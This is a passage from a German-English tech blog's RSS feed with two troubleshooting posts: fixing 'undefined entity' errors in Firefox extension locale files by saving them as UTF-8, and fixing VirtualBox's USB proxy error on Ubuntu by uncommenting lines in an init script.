		<pubDate>Thu, 22 Jan 2009 00:34:52 +0000</pubDate>
		<dc:creator>Beni</dc:creator>
				<category><![CDATA[Fehlerteufel]]></category>
		<category><![CDATA[Programmieren]]></category>
		<category><![CDATA[.dtd]]></category>
		<category><![CDATA[Error]]></category>
		<category><![CDATA[fehlermeldung]]></category>
		<category><![CDATA[Firefox Extension]]></category>
		<category><![CDATA[locale]]></category>
		<category><![CDATA[undefined entity]]></category>
		<category><![CDATA[undefined entity error]]></category>
		<category><![CDATA[utf8]]></category>

		<guid isPermaLink="false">http://blog.bf-itservice.de/?p=180</guid>
		<description><![CDATA[Wenn man beim Programmieren seiner Firefox-Extension eines Tags über den Fehler &#8220;undefined Entity&#8221; im Bezug auf die eigenen .dtd-Dateien der entsprechenden locales stolpert; dann speichere man einfach die ganzen Dateien &#8211; wie von Mozilla gewünscht &#8211; in der Zeichenkodierung UTF-8 , und die Sache läuft wieder ist geritzt! - Hello dear extension developer, if you [...]]]></description>
			<content:encoded><![CDATA[<p>Wenn man beim Programmieren seiner <strong>Firefox-Extension</strong> eines Tags über den <strong>Fehler &#8220;undefined Entity&#8221;</strong> im Bezug auf die eigenen <strong>.dtd-Dateie</strong>n der entsprechenden locales stolpert; dann speichere man einfach die ganzen Dateien &#8211; wie von Mozilla gewünscht &#8211; in der <strong>Zeichenkodierung UTF-8</strong> , und die Sache <span style="text-decoration: line-through;">läuft wieder</span> ist geritzt!</p>
<p>-</p>
<p>Hello dear extension developer, if you see somehere an <strong>XUL error</strong> like &#8220;<strong>undefined entity</strong>&#8221; whilst dealing with your <strong>extension&#8217;s locale files</strong>, just make sure that you saved all of them in <strong>UTF-8 character encoding</strong>. This really saves hours, at least for me <img src='http://blog.bf-itservice.de/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://blog.bf-itservice.de/180/firefox-extension-development-undefined-entity-error-locales/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Ubuntu VirtualBox: Host USB Proxy Service ERROR</title>
		<link>http://blog.bf-itservice.de/109/ubuntu-virtualbox-host-usb-proxy-service-error</link>
		<comments>http://blog.bf-itservice.de/109/ubuntu-virtualbox-host-usb-proxy-service-error#comments</comments>
		<pubDate>Mon, 10 Nov 2008 14:44:48 +0000</pubDate>
		<dc:creator>Beni</dc:creator>
				<category><![CDATA[Fehlerteufel]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[devfs]]></category>
		<category><![CDATA[Error]]></category>
		<category><![CDATA[Fehler]]></category>
		<category><![CDATA[Host USB Proxy Service ERROR]]></category>
		<category><![CDATA[mountdevsubfs.sh]]></category>
		<category><![CDATA[proxy]]></category>
		<category><![CDATA[service]]></category>
		<category><![CDATA[USB]]></category>
		<category><![CDATA[Virtualbox]]></category>

		<guid isPermaLink="false">http://blog.bf-itservice.de/?p=109</guid>
		<description><![CDATA[Gerade wieder mal eine neues Virtualbox von Sun installiert, und prompt ein altbekannter fehler: Could not load the Host USB Proxy Service (VERR_FILE_NOT_FOUND). The service might be not installed on the host computer. Die Erklärung für dieses Problem liegt in einem Bugreport bei Virtualbox: The usbfs support has been disable in the gutsy version by [...]]]></description>
			<content:encoded><![CDATA[<p>Gerade wieder mal eine neues <a href="http://blog.bf-itservice.de/36/virtualbox-166-auf-ubuntu-hardy-installieren">Virtualbox von Sun</a> installiert, und prompt ein altbekannter fehler:</p>
<blockquote><p>Could not load the Host USB Proxy Service (VERR_FILE_NOT_FOUND). The service might be not installed on the host computer.</p></blockquote>
<p>Die Erklärung für dieses Problem liegt in einem Bugreport bei Virtualbox:</p>
<blockquote>
<div class="comment">
<p><span class="searchword3">The</span> <span class="searchword0">usb</span>fs support has <span class="searchword2">be</span>en disable in <span class="searchword3">the</span> gutsy versi<span class="searchword0">on</span> by default. It works well after turning it <span class="searchword0">on</span> in <span class="searchword3">the</span> /etc/init.d/mountdevsubfs.sh file.</div>
</blockquote>
<p>auf gut Deutsch: Man kommentiere in der Datei <code>/etc/init.d/mountdevsubfs.sh</code> einige Zeilen aus. Also einfach per</p>
<blockquote><p>sudo nano /etc/init.d/mountdevsubfs</p></blockquote>
<p>mit dem Editor auf die Datei zugreifen und die <strong>vier Zeilen</strong> nach</p>
<pre class="wiki">    #
    # Magic to make /proc/bus/<span class="searchword0">usb</span> work
    #</pre>
<p><strong>auskommentieren</strong>, also die Raute (<strong>#</strong>) am Anfang entfernen.<br />
Nun sollte mit Ubuntu und Virtualbox wieder alles funktionieren! <img src='http://blog.bf-itservice.de/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://blog.bf-itservice.de/109/ubuntu-virtualbox-host-usb-proxy-service-error/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>

